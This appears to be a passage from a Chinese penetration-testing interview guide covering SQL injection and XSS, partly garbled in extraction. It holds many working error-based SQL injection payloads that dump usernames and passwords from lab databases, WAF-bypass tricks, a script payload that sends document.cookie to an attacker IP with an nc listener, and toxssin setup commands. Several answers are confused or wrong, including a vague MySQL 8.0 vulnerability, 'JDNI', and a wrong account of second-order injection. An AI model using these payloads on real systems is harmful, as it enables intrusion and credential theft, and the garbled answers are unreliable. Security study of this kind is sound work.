extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串 extractvalue (XML_document, XPath_string); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc 第二个参数:XPath_string(Xpath格式的字符串),Xpath定位必须是有效的,否则会发生错误
构造payload
注意xpath回显只有一位使用limit函数逐个爆,且最长为 32 位,超过 32 位爆不了
?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where
table_schema=database()),0x7e),1) #1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where
table_schema='dvwa' and table_name='users'),0x7e),1) #1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #?id=1' or extractvalue(0,concat(0x7e,database())) or '利用过程#
当前库#
当前表#
表信息(假设表为users
字段值(字段为 user_id,first_name,last_name, (dvwa.users意思为调用dvwa库的users表)
floor()函数
floor()是mysql的一个取整函数
库名
表名(库为dvwa,通过修改 limit 0,1值递增查表, limit 1,1、limit 2,1
字段名(库:dvwa,表:users
字段值(字段值:user,password(dvwa.users意思为调用dvwa库users表
exp()函数
当传递一个大于 709 的值时,函数exp()就会引起一个溢出错误。
库名
表名(库名:pikachu
字段名(表名:users
字段值(字段名:password,表名:users
12 种报错注入函数#
1 、通过floor报错,注入语句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2 、通过extractvalue报错,注入语句如下:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3 、通过updatexml报错,注入语句如下:
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where
table_schema=database()))) #1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where
table_schema=database() and table_name='users'))) #1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from
dvwa.users))) #id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x
#id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from
information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from
information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from
information_schema.schemata group by x#id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users
limit 0,1)) x from information_schema.schemata group by x#id=1' or exp(~(SELECT * from(select database())a)) or 'id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema
= 'pikachu')a)) or 'id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name
= 'users')a)) or 'id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or 'and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4 、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
5 、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6 、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);
7 、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8 、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9 、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10 、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11 、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12 、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
三十五、如何判断是盲注?说一下布尔盲注和时间盲注的区别宽字节注入在代码#
层面的原理是什么?#
如何判断是盲注? 盲注是指在注入时无法直接获取数据库返回数据的情况,攻击者需要通过其他方法来判断注入是否成功。常见的盲注有布#
尔盲注和时间盲注。判断是否盲注可以通过以下几种方式:#
输入非法字符:例如输入单引号、反斜线等特殊字符,如果系统返回错误信息,则可能存在注入漏洞。#
输入SQL语句:例如输入1=1或者1=2等语句,如果系统返回不同的结果,则可能存在注入漏洞。#
判断注入点是否存在:例如在输入框中输入一个不存在的用户名或密码,如果系统返回的错误信息与输入的内容不同,则可能存在注入#
漏洞。#
布尔盲注和时间盲注的区别#
布尔盲注是一种通过改变SQL语句的返回结果来判断注入是否成功的盲注方式。攻击者可以在SQL语句中使用条件表达式,例如1=1或#
者1=2来判断注入是否成功。如果注入成功,那么条件表达式的值会改变,从而得到不同的结果。- 时间盲注是一种通过延迟SQL语句执#
行时间来判断注入是否成功的盲注方式。攻击者可以在SQL语句中使用sleep()函数等来延迟执行时间,如果注入成功,那么SQL语句的
执行时间会增加,从而得到不同的结果。宽字节注入在代码层面的原理是什么? 宽字节注入是一种特殊的注入方式,常见于一些老旧的Web应用程序中。宽字节注入的原理是利用某 些编码方式,例如GB2312等,将输入的特殊字符转换成宽字符,从而绕过应用程序中的过滤机制。攻击者可以在输入框中输入类似%df%27 或者%bf%27等宽字节编码,从而绕过应用程序的输入过滤,注入恶意代码。在代码层面,应用程序通常需要将输入的数据进行编解码处 理,例如将输入的数据转换成Unicode编码,再进行SQL查询。攻击者可以在输入中使用宽字节编码,从而在解码时绕过应用程序的过滤和 验证,实现注入攻击。防止宽字节注入的方法包括限制输入字符集、使用参数化查询、过滤用户输入等。
三十六、如果时间盲注脚本因为网络波动 怎么去提高效率?时间盲注 python#
脚本怎么去判断真的 sleep 了 10s?#
如果时间盲注脚本因为网络波动而效率低下,可以尝试以下方法提高效率:1. 优化 SQL 注入语句:如果 SQL 注入语句过于复杂或者查询的#
数据量过大,会导致延迟增加,影响时间盲注的效率。攻击者可以尝试优化 SQL 注入语句,例如使用更简单的查询语句、限制查询的数据量#
等,从而提高时间盲注的效率。2. 修改时间盲注的参数:如果时间盲注脚本的延迟时间过长,可以尝试修改时间盲注的参数,例如修改等待#
时间的阈值、增加并发数等,从而提高效率。3. 优化网络环境:如果时间盲注脚本的效率受到网络波动的影响,可以尝试优化网络环境,例#
如使用更稳定的网络或者使用代理等,从而提高时间盲注的效率。 关于如何判断时间盲注 python 脚本真的 sleep 了 10s,可以通过以下方 法进行判断:1. 使用 time 模块:在 Python 中,可以使用 time 模块中的 sleep() 函数来实现等待指定时间。攻击者可以在时间盲注脚本中 使用该函数,从而实现等待指定时间的功能。2. 使用时间戳:攻击者可以在时间盲注脚本中添加计时器,记录脚本执行前后的时间戳,并计 算时间差。如果时间差符合预期的等待时间,则说明脚本真的 sleep 了 10s。
三十七、Mysql sqlserver oracle 注入时怎么去区分或者简单说一下区别?#
所属公司:#
MySQL是由瑞典MySQL AB公司开发,目前属于 Oracle 旗下产品;
Oracle是由美国ORACLE公司(甲骨文)开发的一组核心软件产品;
SqlServer是由Microsoft、Sybase和Ashton-Tate三家公司共同开发的,目前主属Microsoft;sql语句的灵活性:#
MySQL对sql语句更 灵活 ,比如:limit功能,insert可以一次插入多行数据,select某些管理数据可以不加from;
oracle对sql语句的感觉更加 稳重传统 一些;
SqlServer对sql语句那绝了,两个成语概括: 脚踏实地,步步为营 ;保存数据的持久性:#
MySQL是在数据库更新或者重启,则会丢失数据;
Oracle把提交的sql操作线写入了在线联机日志文件中,保持到了磁盘上,可以随时恢复;
SqlServer从 2014 之后,也拥有了完全持久和延迟持久特性;提交方式:#
MySQL默认是自动提交(变量autocommit为ON);
oracle默认不自动提交,需要用户手动提交(commit);
SqlServer默认是自动提交,用户可手动停止(KILL);对事务的支持:#
MySQL在innodb存储引擎的行级锁的情况下才可支持事务;
Oracle则完全支持事务;
SqlServer在非自动提交时才可支持事务;对并发性的支持:#
MySQL以表级锁(行级锁依赖于表索引)为主,如果一个session的加锁时间过长,会让其他session无法更新此表中的数据,即 “悲观
并发控制” ;
Oracle使用行级锁,对资源锁定的粒度要小很多,并且不依赖索引,对并发性的支持要好很多,即 “乐观并发控制” ;
SqlServer在表、表的分页、索引键以及单独的数据行上支配 共享锁、排它锁、以及更新锁 ,简单地说:读取时用共享锁,修改时用排
它锁,更新锁则是共享锁和排他锁的一种混合;逻辑备份:#
MySQL逻辑备份时要锁定数据,才能保证备份的数据是一致的,会影响正常业务;
Oracle逻辑备份时不锁定数据,且备份的数据是一致;
SqlServer逻辑备份时要锁定数据,才能保证备份的数据是一致的,会影响正常业务;复制备份:#
MySQL复制服务器配置简单,但主库出问题时,丛库有可能丢失一定的数据;
Oracle既有推或拉式的传统数据复制,也有dataguard的双机或多机容灾机制,还有成熟的热备工具rman,主库出现问题时,可以自
动切换备库到主库, 但配置管理较复杂 ;
SqlServer的仅复制备份是独立于常规SQL Server备份序列的SQL Server备份。通常,进行备份 会更改数据库并影响其后备份的还原方
式 。只用于:在不影响数据库总体备份和还原过程的情况下,为特殊目的而进行的备份。性能诊断:#
MySQL的诊断调优方法较少,主要有 慢查询日志 ;
Oracle有各种成熟的性能诊断调优工具,能实现很多自动分析、诊断功能。比如 awr、addm、sqltrace、tkproof等 ;
SqlServer性能检测工具有 sql server profiler ,性能调优工具有 数据库引擎优化顾问 ,简单好用还炫酷;权限与安全:#
MySQL的用户与主机有关,更容易被仿冒主机及ip,有可乘之机,没什么意义;
Oracle的用户和root用户权限彼此分离,权限与安全概念比较传统,中规中矩;
SqlServer本机可用windows验证登录,远程则用SqlServer验证登录(即sa登录);相关服务:#
MySQL是轻量型数据库,并且免费 开源 ,没有服务恢复数据;
Oracle是重量型数据库,收费,Oracle公司对Oracle数据库有任何服务;
SqlServer是重量型数据库,收费(与Java有合作),也有支持供应商;总结得出:#
MySQL优点 :体积小、速度快、总体拥有成本低,开放源码,搭配“L(Linux)A(Apache)M(MySQL)P(PHP/Perl/Python)“或“LN(Nginx)MP”就 可以建立起一个稳定、免费的网站系统,适合中小型网站。
Oracle优点 :使用方便、功能强大,可靠性好、安全性好、可移植性好、适应高吞吐量,适用于各类大、中、小、微机环境。
SqlServer优点 :图形化用户界面,丰富的编程接口工具,与Windows NT完全集成,支持分布式的分区视图,适用于Win的Web技术的开 发。
所以理性来讲,#
这三个数据库各有所长。#
用哪个数据库,完全取决你需要什么功能和服务。#
当然啦,#
也取决你有没有钱买你想要的服务。 (:ι 」∠ )
三十八、说说你对 Oracle 注入的操作情况,假如我要注入 Oracle 数据库的用#
户名该如何注入?#
Oracle 注入是利用 Oracle 数据库系统存在的安全漏洞,通过构造恶意 SQL 语句,从而获取未授权的访问权限,例如获取管理员权限或读取 敏感数据等。Oracle 注入攻击一般可以分为以下几类:1. 基于错误信息的注入:攻击者通过构造恶意 SQL 语句,从而触发数据库系统返回 错误信息,通过解析错误信息获取数据库的结构和数据,进而实现注入攻击。2. 基于时间的注入:攻击者通过构造恶意 SQL 语句,从而触发 数据库系统执行时间较长的操作,通过耗时的操作来判断注入漏洞是否存在。3. 基于联合查询的注入:攻击者通过构造联合查询语句,从而 将多个查询结果合并在一起,从而获取敏感数据或者执行未经授权的操作。
如果要注入 Oracle 数据库的用户名,可以通过以下 SQL 注入语句来实现:SELECT username FROM all_users WHERE username = ‘admin’ or 1=1;在这个 SQL 注入语句中,攻击者通过使用 OR 运算符将恶意代码注入到 SQL 语句中,使得该语句会返回所有用户名,而 不是特定的用户名。攻击者可以通过不断尝试不同的用户名,来获取数据库中的所有用户名。
三十九、sql 盲注用哪些函数?有没有绕过 waf?屏蔽了空格用什么替换?如果#
屏蔽了 if 用什么函数替换?#
SQL盲注常用的函数包括:1. sleep():让查询在指定的时间内暂停执行。2. substring():返回指定字符串的一部分。3. ascii():返回字符的 ASCII码值。4. concat():将多个字符串连接起来。5. rand():返回一个随机数。
要绕过WAF,可以尝试以下方法:1. 使用绕过字符:使用一些特殊字符或编码方式来绕过WAF的检测,如双重URL编码、HTML实体编码 等。2. 修改请求方式:尝试使用其他请求方式,如POST、PUT、DELETE等,以绕过WAF的检测。3. 分段提交:将恶意代码分成多段提交, 以避免WAF的检测。4. 使用变量:将恶意代码中的关键字替换成变量,以避免WAF的检测。
如果屏蔽了空格,可以尝试使用以下替代字符:1. %09:制表符 2. %0a:换行符 3. %0d:回车符
如果屏蔽了if,可以尝试使用以下函数替换:1. case when then else end:用于条件判断。2. decode():用于解码字符串。3. substr():用 于截取字符串。4. length():用于返回字符串的长度。
四十、SQL 注入怎么绕 waf?绕过方式?注入被转义如何突破、二次注入?#
SQL注入WAF绕过的基本方法#
WAF绕过#
WAF(Web Application Firewall)的中文名称叫做“Web应用防火墙”,它依罪女全策略对Web应用程序进行保护。安全策略是WAF的灵魂,所 谓的“绕过WAF”就是指通过某种方式无视WAF的安全策略,达到攻击的目的。
方法1:变换大小写#
实例:比如WAF拦截了union,那就使用Union、UnloN等方式绕过。
方法2:编码#
实例1:WAF检测敏感字’,则可以用Ox7e代替,如extractvalue(1
,concat(’’,database()))
可以写成extractvalue(1,concat(Ox7e,database()))。
实例2: WAF检测敏感字’admin’,则可以用0x61646d696e代替,如select name,passfrom users where name=‘admin’可以替换成select name,pass from users where name=0x61646d696e。
实例3:WAF检测敏感字select,可以在URL中将select变成%73elEcT 编码结合大小写变换绕过WAF。
实例4:可以用%09、%0a、%0b、%Oc、%0d、%a0、/**/、/somewords/等来替换空格。
方法3:利用注释符#
适用于WAF只过滤了一次危险的语句,而没有阻断整个查询语句的场合。#
实例:原查询语句为: ?id=1 union select 1,2,3,对于这条查询,WAF过滤了一次union 和select,我们可以仕尿旦阅白.loct 122释里面的过滤掉,如?id=1/union/union /select/select 1,2,3
方法4:重写#
》适用于WAF只过滤一次敏感字的情况。#
实例:WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的,过滤一次union后就会执行我们的查询了:?id=1 ununionion select 1,2,3
方法5:比较操作符替换#
适用于某一比较操作符(如等号)被过滤的情况。#
实例1:!=不等于,<>不等于,<小于,>大于,这些都可以用来替换=来绕过。#
比如要判断某个值是不是 74 ,假设=被过滤,则可以判断是不是大于 73 ,是不是小于75,然后就知道是 74 了:/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))>73
/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))<75 实例2:WAF将=、>、<全部过滤,则可以利用like来绕过,如?id=1’ or 1 like 1
方法6:同功能函数替换>#
适用于某一函数被过滤的情况。#
实例:假如substring()被WAF过滤,但substring()可以用同功能的mid(),substr()等函数来替换,都是用来取字符串的某一位字符的。 原查询语句: substring((select ‘password’),1,1) = Ox70
替换后的查询语句: substr((select ‘password’),1,1)= Ox70 mid((select ‘password’),1,1) = Ox70
方法7:盲注的活用#
适用于页面无回显或多种函数、逻辑运算符被过滤的情况。#
实例: strcmp(expr1,expr2)用来比较两个值,如果expr1=expr2, 则函数返回 0 ,expr1<expr2则返回-1,expr1>expr2则返回 1 。 假如index.php?uid=123页面返回是正确的,但WAF过滤了and和or , 原查询语句index.php?uid=123 and left((select hash from users limit 0,1),1)=‘B’,可用 index.php?uid=strcmp(left((select hash from users limit 0,1),1),0x42)+123来替换,通过盲猜hash的第一位,如果第一位等于Ox42也就是 B,那么strcmp()将返回 0 ,0+123=123,所以页面应该是正确的。否则就说明不是B,这样猜就不用and和or了.
方法8:二阶注入#
所谓二阶注入(又称存储型注入)是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。#
普通SQL注入:发生在一个HTTP请求和响应中,对系统的攻击是立即执行的:(1)攻击者在http请求中提交非法输入;(2)应用程序处理非法输 入,使用非法输入构造SQL语句;(3)在攻击过程中向攻击者返回结果。 二阶SQL注入:(1)攻击者在http请求中提交某种经过构思的输入 (2)应用程序存储该恶意输入(通常保存在数据库中)以便后面使用并响应请求;
(3)攻击者提交第二次(不同的) http请求;
(4)为处理第二次http请求,程序会检索存储在数据库中的恶意输入并进行处理,从而导致攻击者构造的SQL查询被执行;
(5)如果攻击成功,在第二次请求响应中向攻击者返回查询结果。
方法9:宽字节注入#
适用于数据库使用双字节编码方式(如GBK)、WAF利用AddSlashes()等函数对敏感字符进行转义的场景。 背景: 统一的国际规范的理想状态:程序都使用Unicode编码,所有的网站都使用UTF-8编码。 现状:国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如GBK。也有一些cms为了考虑老用户,所以出了 GBK和UTF-8两个版本。
要突破注入被转义的限制,可以尝试以下方法:#
1. 使用其他注入点:如果某个注入点被转义,可以尝试使用其他注入点,如Cookie、Header等。
2. 使用绕过技巧:可以尝试使用一些绕过技巧,如双重转义、盲注等。
3. 使用特殊字符:有时候,特殊字符可能会被忽略或被视为正常字符,可以尝试使用这些特殊字符进行注入。
4. 使用编码:可以使用编码方式来绕过注入被转义的限制,如base64编码、URL编码等。 二次注入是指攻击者在成功注入后,再次向目
标服务器发送恶意数据,从而实现更严重的攻击。要避免二次注入,可以采取以下措施:#
1.进行输入检查:在服务器端对用户输入进行检查,过滤掉恶意字符和语句,确保输入的安全性。#
2.使用参数化查询:使用参数化查询可以避免SQL注入,从而防止二次注入。#
3.使用防火墙:使用WAF(Web应用防火墙)可以识别和阻止恶意数据,从而有效防止二次注入攻击。
4.进行安全编码:开发人员应该遵循安全编码规范,编写安全的代码,从而避免二次注入攻击。四十一、时间盲注怎么去判断权限?说一下 mysql8.0 注入漏洞知不知道 JDNI#
注入?#
时间盲注通常是通过延长 SQL 查询的执行时间来判断注入的结果,如果延长的时间越长,就说明注入的结果越接近目标。在判断权限时,可#
以尝试使用一些需要特殊权限才能执行的操作,如创建数据库、创建用户等。如果能够成功执行这些操作,就说明当前用户拥有足够的权#
限。#
MySQL 8.0 中存在一个注入漏洞,攻击者可以利用该漏洞执行任意 SQL 语句,从而获取敏感信息或控制数据库。该漏洞是由于 MySQL 8.0 引入了一项新特性所导致的,攻击者可以通过在 GROUP BY 子句中使用特殊的语法,绕过了 MySQL 的安全检查。攻击者可以利用该漏洞执 行任意 SQL 语句,包括 SELECT、UPDATE、DELETE 等操作。
JDNI 注入是一种针对 Java 应用程序的注入攻击,攻击者可以通过修改 JDNI 上下文来执行任意代码,从而获取敏感信息或控制应用程序。攻 击者可以利用该漏洞修改 JDNI 上下文中的对象,从而执行任意代码,包括读取敏感文件、执行系统命令等。为了防止 JDNI 注入攻击,应用 程序需要对输入进行严格的检查和过滤,从而避免恶意输入被执行。同时,应用程序也需要对 JDNI 上下文进行安全配置,限制访问权限, 从而防止攻击者利用该漏洞进行攻击。
四十二、id=1 怎么去注入?#
注入的前提是要确认目标存在注入漏洞,如果目标存在注入漏洞,那么可以尝试在 id=1 的位置输入一些恶意代码,来获取目标的敏感信息 或控制目标。以下是一些常见的注入方式:
1. 使用单引号:输入 id=1',如果没有过滤单引号,会导致 SQL 语句执行出错,从而暴露注入点。
2. 使用双引号:输入 id=1",如果没有过滤双引号,会导致 SQL 语句执行出错,从而暴露注入点。
3. 使用注释符:输入 id=1/*,如果没有过滤注释符,会使后面的 SQL 语句被注释掉,从而暴露注入点。
4. 使用逗号:输入 id=1,,如果没有过滤逗号,会使 SQL 语句出错,从而暴露注入点。
5. 使用特殊字符:输入 id=1%20或id=1%09,如果没有过滤空格,会使 SQL 语句出错,从而暴露注入点。 需要注意的是,以上方法只是
一些常见的注入方式,具体情况需要根据目标的注入点和过滤方式来选择合适的注入方式。第八章 XSS#
一、XSS 有哪些类型?说一下 XSS 原理与防御与修复#
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页#
程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后, 攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等内容。
XSS的原理是WEB应用程序混淆了用户提交的数据和脚本的代码边界,导致浏览器把用户的输入当成了脚本代码来执行。XSS的攻击对
象是浏览器一端的普通用户。XSS攻击类型#
反射型XSS#
反射型XSS,又称非持久型XSS。也就是攻击相当于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,而 Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行响应的脚本。
存储型XSS#
存储型XSS,也就是持久型XSS。攻击者上传的包含恶意js脚本的留言等信息被Web应用程序保存到数据库中,Web应用程序在生成新的页面 的时候如果包含了该恶意js脚本,这样会导致所有访问该网页的浏览器解析执行该恶意脚本。这种攻击类型一般常见在博客、论坛等网站 中。
DOM型XSS#
DOM,全称是Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构和样 式。 DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞,而且不需要与服务器进行交互。 客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实 现XSS漏洞的利用。
XSS危害#
XSS可以造成的危害有很多,常见的有以下:#
网络钓鱼,包括获取各类用户账号#
窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等
强制弹出广告页面、刷流量等
网页挂马
进行大量的客户端攻击,如DDoS等
获取客户端信息,如用户的浏览历史、真实ip、开放端口等
控制受害者机器向其他网站发起攻击
结合其他漏洞,如CSRF,实施进一步危害
传播跨站脚本蠕虫XSS修复方案#
输入编码转义#
对输入的数据进行HTML转义,使其不会识别为可执行脚本#
Spring HtmlUtils
白名单过滤#
根据白名单的标签和属性对数据进行过滤,以此来对可执行的脚本进行清除(如script标签,img标签的onerror属性等)
默认的基础白名单配置#
二、存储型 XSS 一般搭配哪些漏洞一起利用?#
反射型XSS利用过程#
存储型XSS利用过程#
String result = HtmlUtils.htmlEscape(source);<!-- https://mvnrepository.com/artifact/org.jsoup/jsoup -->
\<dependency\>
\<groupId\>org.jsoup</groupId>
\<artifactId\>jsoup</artifactId>
\<version\>1.13.1</version>
</dependency>String result = Jsoup.clean(source, Whitelist.basic());- 恶意的攻击者发给受害者一个链接(链接中携带xss代码)
- 攻击者诱使受害者点开这个链接
- XSS代码被提交到有XSS漏洞的Web应用程序上
- WEB应用程序没有过滤提交上来的数据,或者过滤不严格。
- WEB应用程序输出用户提交上来的数据(包含XSS代码)。
- 用户浏览器渲染返回的HTML页面,执行返回的JavaScript代码
- 恶意的javascript代码在后台悄悄执行,获取用户信息
- 恶意的攻击者让存在XSS漏洞的网站提交一段XSS代码
- Web应用程序接受提交数据,没有过滤或者过滤不严格
三、说一下 DOM 型的原理#
1.DOM型xss原理#
dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。了解了这么一个 知识点,你就会发现,其实dom xss并不复杂,他也属于反射型xss的一种(domxss取决于输出位置,并不取决于输出环境,因此domxss既 有可能是反射型的,也有可能是存储型的),简单去理解就是因为他输出点在DOM。dom - xss是通过url传入参数去控制触发的)分析完 dom-xss之后,再说说存储型xss,其实也很好理解,存储型xss,自然就是存入了数据库,再取出来,导致的xss)反射型xss实际上是包括 了dom - xss了,关键点仍然是在通过url控制了页面的输出(dom-xss也类似,只因为输出地点不同而导致结果不一致)。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对 象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也 就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS 脚本来实现XSS漏洞的利用。
2.DOM型xxs演示#
可能触发DOM型XSS的属性:#
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
1.利用创建元素createElement():制作按钮获取cookie
先在Kali监听 1234 端口:nc -nvlp 1234 然后在DVWA中输入 <script>var img=document.createElement(‘img’);img.src=‘http://10.10.10.151:1234/a?’+escape(document.cookie);
- 写入到数据库中
- 受害者访问这个存在XSS恶意代码的页面时
- Web应用程序从数据库读取去之前恶意攻击者提交的数据
- Web应用服务器返回这段数据
- 受害者浏览器渲染返回的HTML页面,执行返回的JavaScript代码
- 恶意的javascript代码在后台悄悄执行,获取用户信息
2.利用innerHTML:篡改页面#
`#
四、用什么工具快速发现 xss 漏洞?#
关于toxssin#
toxssin是一款功能强大的XSS漏洞扫描利用和Payload生成工具,这款渗透测试工具能够帮助广大研究人员自动扫描、检测和利用跨站脚本 XSS漏洞。该工具由一台HTTPS服务器组成,这台服务器将充当一个解释器,用于处理恶意JavaScript Payload生成的流量,并驱动该工具(toxin.js)的运行。
功能介绍#
toxssin支持拦截下列内容:
cookie
键盘击键数据粘贴事件
输入修改事件文件选择表单提交服务器响应
表单数据toxssin还支持下列功能:
1 、尝试在用户浏览网站时通过拦截http请求和响应并重写文档来实现XSS持久化;2 、支持会话管理,这意味着,您可以使用它来利用反射型和存储型XSS;3 、支持针对会话的自定义JavaScript脚本执行;
4 、自动记录所有会话信息;工具安装&使用#
该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3 环境。接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地,并通过pip3命令和项目提供的requirements.txt文件安装该工具 所需的依赖组件:
如需启动toxssin.py,还需要提供SSL证书和私钥文件。
如果你没有一个带有授信证书的域名,你也可以使用下列命令来签发和使用自签名证书:
强烈建议我们使用授信证书来运行toxssin,接下来我们就可以通过下列命令运行toxssin服务器了:
git clone https://github.com/t3l3machus/toxssincd ./toxssinpip3 install -r requirements.txtopenssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365工具运行截图#
五、说一下 xss 反射型和 dom 有什么区别?#
前言#
xss漏洞的原理其实很简单,类型也分为三类,反射型、储存型和dom型。
但是刚接触xss的时候我根本不理解什么是dom型xss,无法区分反射型和dom型,也很少遇见,现在通过这篇文章可以给新入坑的小白更好 的理解xss漏洞,也通过这篇文章巩固一下我对xss的理解.
DOM型与反射型对比图#
两张简单的图帮助大家对比一下异同#
# python3 toxssin.py -u https://your.domain.com -c /your/certificate.pem -k /your/privkey.pem反射型xss分析#
首先还是先简单介绍一下xss最常见的类型:反射型
通过pikachu靶场来做简单的演示分析
可以看到我们输入的数据通过html页面回显了出来,这意味着我们可以尝试构造闭合来注入我们想要的代码
检查一下网页源码,处于这个位置( 20 这个地方显示了输入数据的长短,改一改就好)#
插入这个代码测试xss漏洞:,出现弹窗
分析一下代码#
首先通过GET 接收message字符串到后端,然后传到$html这个变量
<
再通过这个变量输出到前端的页面,然后刚刚输入的代码就会在页面被执行,通过服务端逻辑来改变了最终的网页代码#
DOM型xss分析#
DOM型xss和别的xss最大的区别就是它不经过服务器,仅仅是通过网页本身的JavaScript进行渲染触发的
下面我们来看看典型的DOM型xss例子,将下面这句话复制到有道词典进行翻译,相信大家很快就能理解
This is a test about xss
在线翻译_有道 (https://fanyi.youdao.com/)
看看这句话在html中的位置
这个例子中的xss语句只是单纯的在前端解析,没有经过后端,属于前端自身的安全漏洞。
pikachu靶场 再通过pikachu靶场来深入了解一下DOM型xss
$html='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img
src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}div id="xssr_main">
<p class="xssr_title">Which NBA player do you like?</p>
<form method="get">
<input class="xssr_in" type="text" maxlength="20" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<?php echo $html;?>
</div>这是前端界面#
这是源代码,接下来分析一下这个源码#
我们通过 <input id=“text” name=“text” type=“text” value=”" / > 将字符串赋值给text
然后JavaScript var str = document.getElementById(“text”).value; 获取到了text的值
然后document.getElementById(“dom”).innerHTML = “< a href=’”+str+"’>what do you see?< /a > “; 把这个text字符串整合到a这个标签中 的href里再把a标签写入到dom这个标签中。
最后< div id=“dom” >< /div > 执行这个dom标签
当输入 123 源码中是这样显示的
但当输入:#‘οnclick=“alert(‘1_Ry’)”> 时
一直点击则一直弹,同时使用burpsuite抓包的话也是抓不到任何东西,因为没有产生与服务器的交互,仅仅通过前端js渲染来改变最终的网 页代码
DOM型&反射型XSS漏洞的利用场景#
两者的攻击方式没有什么不同,都是通过电子邮件等方式发送这个含有我们构造的payload的URL给目标用户,当目标用户访可该链接时, 服务器接收该目标用户的请求并进行处理
然后服务器把带有XSS代码的数据发送给目标用户的测览器,浏览器解析这段帯有XSS代码的恶意脚本后,就会触发XSS漏洞,一般用于获取 对方cookies值
xss防御方法#
过滤输入的数据,包括 ‘ 、“、<、>、on* 等非法字符
对输出到页面的数据进行相应的编码转换,包括HTML实体编码、属性以及URL请求参数
设置cookie的HttpOnly属性
<div id="xssd_main">
\<script\>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script><input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>六、xss 为什么会出现?xss 怎么运用?#
XSS介绍及利用#
1 、XSS介绍#
XSS(cross site scripting)跨站脚本攻击,
